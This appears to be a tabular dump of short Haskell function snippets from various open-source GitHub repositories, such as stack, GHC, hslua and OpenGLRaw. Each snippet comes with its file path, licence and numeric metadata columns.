placeAt p t x = (t .-. x `_position` p) `delay` x | 314 | placeAt :: (Transformable a, HasPosition a) => Duration -> Time -> a -> a
placeAt p t x = (t .-. x `_position` p) `delay` x | 123 | placeAt p t x = (t .-. x `_position` p) `delay` x | 49 | true | true | 0 | 8 | 69 | 74 | 45 | 29 | null | null |
meiersi-11ce/stack | src/Stack/FileWatch.hs | bsd-3-clause | fileWatchPoll :: IO (Path Abs Dir)
-> ((Set (Path Abs File) -> IO ()) -> IO ())
-> IO ()
fileWatchPoll = fileWatchConf $ defaultConfig { confUsePolling = True } | 190 | fileWatchPoll :: IO (Path Abs Dir)
-> ((Set (Path Abs File) -> IO ()) -> IO ())
-> IO ()
fileWatchPoll = fileWatchConf $ defaultConfig { confUsePolling = True } | 190 | fileWatchPoll = fileWatchConf $ defaultConfig { confUsePolling = True } | 71 | false | true | 0 | 13 | 59 | 82 | 41 | 41 | null | null |
d0kt0r0/estuary | client/src/Estuary/Types/Context.hs | gpl-3.0 | setLanguage :: Language -> ContextChange
setLanguage x c = c { language = x } | 77 | setLanguage :: Language -> ContextChange
setLanguage x c = c { language = x } | 77 | setLanguage x c = c { language = x } | 36 | false | true | 0 | 6 | 14 | 28 | 15 | 13 | null | null |
nobrakal/TheBlackCurse | src/LevelMap.hs | gpl-3.0 | onlyExistingPoint :: Map -> [Point] -> [Point]
onlyExistingPoint _ [] = [] | 75 | onlyExistingPoint :: Map -> [Point] -> [Point]
onlyExistingPoint _ [] = [] | 75 | onlyExistingPoint _ [] = [] | 27 | false | true | 0 | 7 | 12 | 34 | 18 | 16 | null | null |
tranma/falling-turnip | repa/Alchemy.hs | bsd-3-clause | applyAlchemy' 24 7 = Left (plant, plant) | 40 | applyAlchemy' 24 7 = Left (plant, plant) | 40 | applyAlchemy' 24 7 = Left (plant, plant) | 40 | false | false | 0 | 6 | 6 | 20 | 10 | 10 | null | null |
wtanaka/haskell | NinetyNine.hs | gpl-3.0 | leaf :: x -> Tree x
leaf x = Branch x Empty Empty | 49 | leaf :: x -> Tree x
leaf x = Branch x Empty Empty | 49 | leaf x = Branch x Empty Empty | 29 | false | true | 0 | 7 | 12 | 34 | 14 | 20 | null | null |
snoyberg/ghc | compiler/prelude/PrelNames.hs | bsd-3-clause | minBound_RDR = varQual_RDR gHC_ENUM (fsLit "minBound") | 65 | minBound_RDR = varQual_RDR gHC_ENUM (fsLit "minBound") | 65 | minBound_RDR = varQual_RDR gHC_ENUM (fsLit "minBound") | 65 | false | false | 0 | 7 | 16 | 17 | 8 | 9 | null | null |
MichielDerhaeg/stack | src/Stack/Script.hs | bsd-3-clause | parseImports :: ByteString -> (Set PackageName, Set ModuleName)
parseImports =
fold . mapMaybe (parseLine . stripCR') . S8.lines
where
-- Remove any carriage return character present at the end, to
-- support Windows-style line endings (CRLF)
stripCR' bs
| S8.null bs = bs
| S8.last bs == '\r' = S8.init bs
| otherwise = bs
stripPrefix x y
| x `S8.isPrefixOf` y = Just $ S8.drop (S8.length x) y
| otherwise = Nothing
parseLine bs0 = do
bs1 <- stripPrefix "import " bs0
let bs2 = S8.dropWhile (== ' ') bs1
bs3 = fromMaybe bs2 $ stripPrefix "qualified " bs2
case stripPrefix "\"" bs3 of
Just bs4 -> do
pn <- parsePackageNameFromString $ S8.unpack $ S8.takeWhile (/= '"') bs4
Just (Set.singleton pn, Set.empty)
Nothing -> Just
( Set.empty
, Set.singleton
$ ModuleName
$ S8.takeWhile (\c -> c /= ' ' && c /= '(') bs3
) | 1,052 | parseImports :: ByteString -> (Set PackageName, Set ModuleName)
parseImports =
fold . mapMaybe (parseLine . stripCR') . S8.lines
where
-- Remove any carriage return character present at the end, to
-- support Windows-style line endings (CRLF)
stripCR' bs
| S8.null bs = bs
| S8.last bs == '\r' = S8.init bs
| otherwise = bs
stripPrefix x y
| x `S8.isPrefixOf` y = Just $ S8.drop (S8.length x) y
| otherwise = Nothing
parseLine bs0 = do
bs1 <- stripPrefix "import " bs0
let bs2 = S8.dropWhile (== ' ') bs1
bs3 = fromMaybe bs2 $ stripPrefix "qualified " bs2
case stripPrefix "\"" bs3 of
Just bs4 -> do
pn <- parsePackageNameFromString $ S8.unpack $ S8.takeWhile (/= '"') bs4
Just (Set.singleton pn, Set.empty)
Nothing -> Just
( Set.empty
, Set.singleton
$ ModuleName
$ S8.takeWhile (\c -> c /= ' ' && c /= '(') bs3
) | 1,052 | parseImports =
fold . mapMaybe (parseLine . stripCR') . S8.lines
where
-- Remove any carriage return character present at the end, to
-- support Windows-style line endings (CRLF)
stripCR' bs
| S8.null bs = bs
| S8.last bs == '\r' = S8.init bs
| otherwise = bs
stripPrefix x y
| x `S8.isPrefixOf` y = Just $ S8.drop (S8.length x) y
| otherwise = Nothing
parseLine bs0 = do
bs1 <- stripPrefix "import " bs0
let bs2 = S8.dropWhile (== ' ') bs1
bs3 = fromMaybe bs2 $ stripPrefix "qualified " bs2
case stripPrefix "\"" bs3 of
Just bs4 -> do
pn <- parsePackageNameFromString $ S8.unpack $ S8.takeWhile (/= '"') bs4
Just (Set.singleton pn, Set.empty)
Nothing -> Just
( Set.empty
, Set.singleton
$ ModuleName
$ S8.takeWhile (\c -> c /= ' ' && c /= '(') bs3
) | 988 | false | true | 2 | 19 | 383 | 358 | 167 | 191 | null | null |
rodrigogribeiro/mptc | src/Language/Haskell/Exts/Build.hs | bsd-3-clause | -- | A pattern bind where the pattern is a variable, and where
-- there are no guards and no 'where' clause.
patBind :: SrcLoc -> Pat -> Exp -> Decl
patBind s p e = let rhs = UnGuardedRhs e
in PatBind s p Nothing rhs noBinds | 233 | patBind :: SrcLoc -> Pat -> Exp -> Decl
patBind s p e = let rhs = UnGuardedRhs e
in PatBind s p Nothing rhs noBinds | 124 | patBind s p e = let rhs = UnGuardedRhs e
in PatBind s p Nothing rhs noBinds | 84 | true | true | 0 | 9 | 56 | 57 | 28 | 29 | null | null |
HJvT/hdirect | src/Parser.hs | bsd-3-clause | action_593 (70#) = happyGoto action_145 | 39 | action_593 (70#) = happyGoto action_145 | 39 | action_593 (70#) = happyGoto action_145 | 39 | false | false | 0 | 6 | 4 | 15 | 7 | 8 | null | null |
osa1/language-lua | src/Text/PrettyPrint/Leijen.hs | bsd-3-clause | width :: Doc -> (Int -> Doc) -> Doc
width d f = column (\k1 -> d <> column (\k2 -> f (k2 - k1))) | 102 | width :: Doc -> (Int -> Doc) -> Doc
width d f = column (\k1 -> d <> column (\k2 -> f (k2 - k1))) | 102 | width d f = column (\k1 -> d <> column (\k2 -> f (k2 - k1))) | 66 | false | true | 0 | 14 | 30 | 72 | 36 | 36 | null | null |
petester42/haskell-hockey | src/Hockey/Types.hs | mit | toStrength 702 = Powerplay | 26 | toStrength 702 = Powerplay | 26 | toStrength 702 = Powerplay | 26 | false | false | 0 | 5 | 3 | 9 | 4 | 5 | null | null |
stevedonnelly/haskell | code/Data/Integer/Concurrent.hs | mit | getAndAdd :: Integral a => MVar a -> a -> IO a
getAndAdd = \mvar change -> ((liftA fst) (transformMVar mvar ((+) change))) | 122 | getAndAdd :: Integral a => MVar a -> a -> IO a
getAndAdd = \mvar change -> ((liftA fst) (transformMVar mvar ((+) change))) | 122 | getAndAdd = \mvar change -> ((liftA fst) (transformMVar mvar ((+) change))) | 75 | false | true | 0 | 11 | 22 | 67 | 34 | 33 | null | null |
ksaveljev/hake-2 | src/Game/Monsters/MFloat.hs | bsd-3-clause | floaterIdle :: EntThink
floaterIdle =
GenericEntThink "floater_idle" $ \selfRef -> do
sound <- use $ gameBaseGlobals.gbGameImport.giSound
soundIdle <- use $ mFloatGlobals.mFloatSoundIdle
sound (Just selfRef) Constants.chanVoice soundIdle 1 Constants.attnIdle 0
return True | 290 | floaterIdle :: EntThink
floaterIdle =
GenericEntThink "floater_idle" $ \selfRef -> do
sound <- use $ gameBaseGlobals.gbGameImport.giSound
soundIdle <- use $ mFloatGlobals.mFloatSoundIdle
sound (Just selfRef) Constants.chanVoice soundIdle 1 Constants.attnIdle 0
return True | 290 | floaterIdle =
GenericEntThink "floater_idle" $ \selfRef -> do
sound <- use $ gameBaseGlobals.gbGameImport.giSound
soundIdle <- use $ mFloatGlobals.mFloatSoundIdle
sound (Just selfRef) Constants.chanVoice soundIdle 1 Constants.attnIdle 0
return True | 266 | false | true | 0 | 12 | 48 | 83 | 39 | 44 | null | null |
da-x/ghc | compiler/deSugar/Coverage.hs | bsd-3-clause | addTickHsExpr (HsTickPragma _ _ (L pos e0)) = do
e2 <- allocTickBox (ExpBox False) False False pos $
addTickHsExpr e0
return $ unLoc e2 | 159 | addTickHsExpr (HsTickPragma _ _ (L pos e0)) = do
e2 <- allocTickBox (ExpBox False) False False pos $
addTickHsExpr e0
return $ unLoc e2 | 159 | addTickHsExpr (HsTickPragma _ _ (L pos e0)) = do
e2 <- allocTickBox (ExpBox False) False False pos $
addTickHsExpr e0
return $ unLoc e2 | 159 | false | false | 0 | 11 | 47 | 66 | 30 | 36 | null | null |
DavidAlphaFox/darcs | src/Darcs/Repository/Internal.hs | gpl-2.0 | tentativelyAddPatches_ up r compr verb uw (p:>:ps) = do
r' <- tentativelyAddPatch_ up r compr verb uw p
tentativelyAddPatches_ up r' compr verb uw ps
-- TODO re-add a safety catch for --dry-run? Maybe using a global, like dryRun
-- :: Bool, with dryRun = unsafePerformIO $ readIORef ... | 295 | tentativelyAddPatches_ up r compr verb uw (p:>:ps) = do
r' <- tentativelyAddPatch_ up r compr verb uw p
tentativelyAddPatches_ up r' compr verb uw ps
-- TODO re-add a safety catch for --dry-run? Maybe using a global, like dryRun
-- :: Bool, with dryRun = unsafePerformIO $ readIORef ... | 295 | tentativelyAddPatches_ up r compr verb uw (p:>:ps) = do
r' <- tentativelyAddPatch_ up r compr verb uw p
tentativelyAddPatches_ up r' compr verb uw ps
-- TODO re-add a safety catch for --dry-run? Maybe using a global, like dryRun
-- :: Bool, with dryRun = unsafePerformIO $ readIORef ... | 295 | false | false | 0 | 8 | 57 | 64 | 31 | 33 | null | null |
carbolymer/blockchain | blockchain-node/src/Blockchain/Node/Account.hs | apache-2.0 | collectValidTransactions :: ([Transaction], AccountsByAddress) -- ^ already validated transactions
-> Transaction -- ^ transaction to validate
-> ([Transaction], AccountsByAddress) -- ^ confirmed transactions ++ validated transaction
collectValidTransactions (confirmedTransactions, accounts) transaction
| isValidTransaction = (confirmedTransactions ++ [transaction], insertIntoMap transaction accounts)
| otherwise = (confirmedTransactions, accounts)
where
isValidTransaction = isNotGeneratingNegativeBalance transaction accounts
&& T.verify transaction | 674 | collectValidTransactions :: ([Transaction], AccountsByAddress) -- ^ already validated transactions
-> Transaction -- ^ transaction to validate
-> ([Transaction], AccountsByAddress)
collectValidTransactions (confirmedTransactions, accounts) transaction
| isValidTransaction = (confirmedTransactions ++ [transaction], insertIntoMap transaction accounts)
| otherwise = (confirmedTransactions, accounts)
where
isValidTransaction = isNotGeneratingNegativeBalance transaction accounts
&& T.verify transaction | 620 | collectValidTransactions (confirmedTransactions, accounts) transaction
| isValidTransaction = (confirmedTransactions ++ [transaction], insertIntoMap transaction accounts)
| otherwise = (confirmedTransactions, accounts)
where
isValidTransaction = isNotGeneratingNegativeBalance transaction accounts
&& T.verify transaction | 364 | true | true | 1 | 8 | 171 | 110 | 61 | 49 | null | null |
harry830622/cis194-solutions | 04-higher-order/solution.hs | mit | map' :: (a -> b) -> [a] -> [b]
map' f = foldr (\x xs -> f x : xs) [] | 68 | map' :: (a -> b) -> [a] -> [b]
map' f = foldr (\x xs -> f x : xs) [] | 68 | map' f = foldr (\x xs -> f x : xs) [] | 37 | false | true | 0 | 9 | 20 | 65 | 32 | 33 | null | null |
coolhacks/scripts-hacks | examples/shellcheck-master/ShellCheck/Analytics.hs | mit | prop_checkTimeParameters3 = verifyNot checkTimeParameters "time -p foo" | 71 | prop_checkTimeParameters3 = verifyNot checkTimeParameters "time -p foo" | 71 | prop_checkTimeParameters3 = verifyNot checkTimeParameters "time -p foo" | 71 | false | false | 0 | 5 | 6 | 11 | 5 | 6 | null | null |
suhailshergill/liboleg | Language/TEval/EvalTaglessI.hs | bsd-3-clause | -- I 3
termid = L(\vx -> vx) | 29 | termid = L(\vx -> vx) | 21 | termid = L(\vx -> vx) | 21 | true | false | 1 | 7 | 8 | 21 | 10 | 11 | null | null |
GRACeFUL-project/haskelzinc | src/Interfaces/MZBuiltIns.hs | bsd-3-clause | -- | @not@
not_ = U mz_not | 29 | not_ = U mz_not | 18 | not_ = U mz_not | 18 | true | false | 0 | 5 | 9 | 10 | 5 | 5 | null | null |
forked-upstream-packages-for-ghcjs/ghc | utils/genprimopcode/Main.hs | bsd-3-clause | ppTyVar "o" = "openAlphaTyVar" | 30 | ppTyVar "o" = "openAlphaTyVar" | 30 | ppTyVar "o" = "openAlphaTyVar" | 30 | false | false | 1 | 5 | 3 | 13 | 4 | 9 | null | null |
osa1/hslua | src/Foreign/Lua/Core/Functions.hs | mit | tonumber :: StackIndex -> Lua (Maybe Lua.Number)
tonumber n = liftLua $ \l -> alloca $ \bptr -> do
res <- lua_tonumberx l n bptr
isNum <- fromLuaBool <$> F.peek bptr
return (if isNum then Just res else Nothing)
-- | Converts the value at the given index to a generic C pointer (void*). The
-- value can be a userdata, a table, a thread, or a function; otherwise,
-- lua_topointer returns @nullPtr@. Different objects will give different
-- pointers. There is no way to convert the pointer back to its original value.
--
-- Typically this function is used only for hashing and debug information.
--
-- See also:
-- <https://www.lua.org/manual/5.3/manual.html#lua_topointer lua_topointer>. | 694 | tonumber :: StackIndex -> Lua (Maybe Lua.Number)
tonumber n = liftLua $ \l -> alloca $ \bptr -> do
res <- lua_tonumberx l n bptr
isNum <- fromLuaBool <$> F.peek bptr
return (if isNum then Just res else Nothing)
-- | Converts the value at the given index to a generic C pointer (void*). The
-- value can be a userdata, a table, a thread, or a function; otherwise,
-- lua_topointer returns @nullPtr@. Different objects will give different
-- pointers. There is no way to convert the pointer back to its original value.
--
-- Typically this function is used only for hashing and debug information.
--
-- See also:
-- <https://www.lua.org/manual/5.3/manual.html#lua_topointer lua_topointer>. | 694 | tonumber n = liftLua $ \l -> alloca $ \bptr -> do
res <- lua_tonumberx l n bptr
isNum <- fromLuaBool <$> F.peek bptr
return (if isNum then Just res else Nothing)
-- | Converts the value at the given index to a generic C pointer (void*). The
-- value can be a userdata, a table, a thread, or a function; otherwise,
-- lua_topointer returns @nullPtr@. Different objects will give different
-- pointers. There is no way to convert the pointer back to its original value.
--
-- Typically this function is used only for hashing and debug information.
--
-- See also:
-- <https://www.lua.org/manual/5.3/manual.html#lua_topointer lua_topointer>. | 645 | false | true | 0 | 14 | 119 | 106 | 56 | 50 | null | null |
phaazon/OpenGLRaw | src/Graphics/Rendering/OpenGL/Raw/Tokens.hs | bsd-3-clause | gl_PACK_RESAMPLE_OML :: GLenum
gl_PACK_RESAMPLE_OML = 0x8984 | 60 | gl_PACK_RESAMPLE_OML :: GLenum
gl_PACK_RESAMPLE_OML = 0x8984 | 60 | gl_PACK_RESAMPLE_OML = 0x8984 | 29 | false | true | 0 | 4 | 5 | 11 | 6 | 5 | null | null |
jkpl/tagenerator | src/TaGenerator/GameEngine.hs | mit | showInventory items = concat ["Inventory:\n", showItemsAsList items] | 68 | showInventory items = concat ["Inventory:\n", showItemsAsList items] | 68 | showInventory items = concat ["Inventory:\n", showItemsAsList items] | 68 | false | false | 0 | 7 | 6 | 21 | 10 | 11 | null | null |
runjak/projectEuler | src/Problem148.hs | mit | pRows :: [[N]]
pRows = [[1],[1,1]] <> fmap (\ps -> [1] <> ps <> [1]) parts | 74 | pRows :: [[N]]
pRows = [[1],[1,1]] <> fmap (\ps -> [1] <> ps <> [1]) parts | 74 | pRows = [[1],[1,1]] <> fmap (\ps -> [1] <> ps <> [1]) parts | 59 | false | true | 2 | 10 | 15 | 70 | 38 | 32 | null | null |
roberth/uu-helium | src/Helium/CodeGeneration/PatternMatch.hs | gpl-3.0 | isSimple :: Pattern -> Bool
isSimple p =
case p of
Pattern_Variable _ _ -> True
Pattern_Wildcard _ -> True
_ -> False | 146 | isSimple :: Pattern -> Bool
isSimple p =
case p of
Pattern_Variable _ _ -> True
Pattern_Wildcard _ -> True
_ -> False | 146 | isSimple p =
case p of
Pattern_Variable _ _ -> True
Pattern_Wildcard _ -> True
_ -> False | 118 | false | true | 0 | 8 | 51 | 48 | 23 | 25 | null | null |
BartAdv/idris-cil | src/IRTS/CodegenCil.hs | bsd-3-clause | quoted :: String -> String
quoted n = "'" ++ concatMap validChar n ++ "'"
where validChar :: Char -> String
validChar c = if c == '\''
then "\\'"
else [c] | 214 | quoted :: String -> String
quoted n = "'" ++ concatMap validChar n ++ "'"
where validChar :: Char -> String
validChar c = if c == '\''
then "\\'"
else [c] | 214 | quoted n = "'" ++ concatMap validChar n ++ "'"
where validChar :: Char -> String
validChar c = if c == '\''
then "\\'"
else [c] | 187 | false | true | 2 | 7 | 91 | 78 | 36 | 42 | null | null |
jozefg/c-dsl | src/Language/C/DSL/Decl.hs | mit | csu :: CStructTag -> String -> [(String, CTypeSpec)] -> CDecl
csu tag ident fields = CDecl
[CStorageSpec $ CTypedef undefNode, CTypeSpec $ CSUType structTy undefNode]
[(Just $ fromString ident, Nothing, Nothing)]
undefNode
where structTy = CStruct tag (Just $ fromString ident) (Just $ map structify fields) [] undefNode
structify (name, ty) = CDecl [CTypeSpec ty] [(Just (fromString name), Nothing, Nothing)] undefNode
-- | Create a structure, for example @struct "foo" [("bar", intTy)]@ is
-- @typedef struct foo {int bar;} foo;@ | 612 | csu :: CStructTag -> String -> [(String, CTypeSpec)] -> CDecl
csu tag ident fields = CDecl
[CStorageSpec $ CTypedef undefNode, CTypeSpec $ CSUType structTy undefNode]
[(Just $ fromString ident, Nothing, Nothing)]
undefNode
where structTy = CStruct tag (Just $ fromString ident) (Just $ map structify fields) [] undefNode
structify (name, ty) = CDecl [CTypeSpec ty] [(Just (fromString name), Nothing, Nothing)] undefNode
-- | Create a structure, for example @struct "foo" [("bar", intTy)]@ is
-- @typedef struct foo {int bar;} foo;@ | 612 | csu tag ident fields = CDecl
[CStorageSpec $ CTypedef undefNode, CTypeSpec $ CSUType structTy undefNode]
[(Just $ fromString ident, Nothing, Nothing)]
undefNode
where structTy = CStruct tag (Just $ fromString ident) (Just $ map structify fields) [] undefNode
structify (name, ty) = CDecl [CTypeSpec ty] [(Just (fromString name), Nothing, Nothing)] undefNode
-- | Create a structure, for example @struct "foo" [("bar", intTy)]@ is
-- @typedef struct foo {int bar;} foo;@ | 550 | false | true | 0 | 12 | 160 | 179 | 95 | 84 | null | null |
spacekitteh/smcghc | compiler/codeGen/StgCmmPrim.hs | bsd-3-clause | shouldInlinePrimOp _ CopyArrayArrayOp
[src, src_off, dst, dst_off, (CmmLit (CmmInt n _))] =
Just $ \ [] -> doCopyArrayOp src src_off dst dst_off (fromInteger n) | 172 | shouldInlinePrimOp _ CopyArrayArrayOp
[src, src_off, dst, dst_off, (CmmLit (CmmInt n _))] =
Just $ \ [] -> doCopyArrayOp src src_off dst dst_off (fromInteger n) | 172 | shouldInlinePrimOp _ CopyArrayArrayOp
[src, src_off, dst, dst_off, (CmmLit (CmmInt n _))] =
Just $ \ [] -> doCopyArrayOp src src_off dst dst_off (fromInteger n) | 172 | false | false | 3 | 9 | 35 | 72 | 37 | 35 | null | null |
sdiehl/ghc | compiler/typecheck/TcOrigin.hs | bsd-3-clause | pprUserTypeCtxt TypeAppCtxt = text "a type argument" | 58 | pprUserTypeCtxt TypeAppCtxt = text "a type argument" | 58 | pprUserTypeCtxt TypeAppCtxt = text "a type argument" | 58 | false | false | 0 | 5 | 12 | 12 | 5 | 7 | null | null |
ob-cs-hm-edu/compiler-md2html | src/Parser.hs | bsd-3-clause | addP p (Sequence ast) = Sequence (p : ast) | 42 | addP p (Sequence ast) = Sequence (p : ast) | 42 | addP p (Sequence ast) = Sequence (p : ast) | 42 | false | false | 0 | 7 | 8 | 29 | 13 | 16 | null | null |
DanielWaterworth/Idris-dev | src/Idris/REPL.hs | bsd-3-clause | parseArgs ("--noprelude":ns) = NoPrelude : (parseArgs ns) | 61 | parseArgs ("--noprelude":ns) = NoPrelude : (parseArgs ns) | 61 | parseArgs ("--noprelude":ns) = NoPrelude : (parseArgs ns) | 61 | false | false | 0 | 7 | 10 | 26 | 13 | 13 | null | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.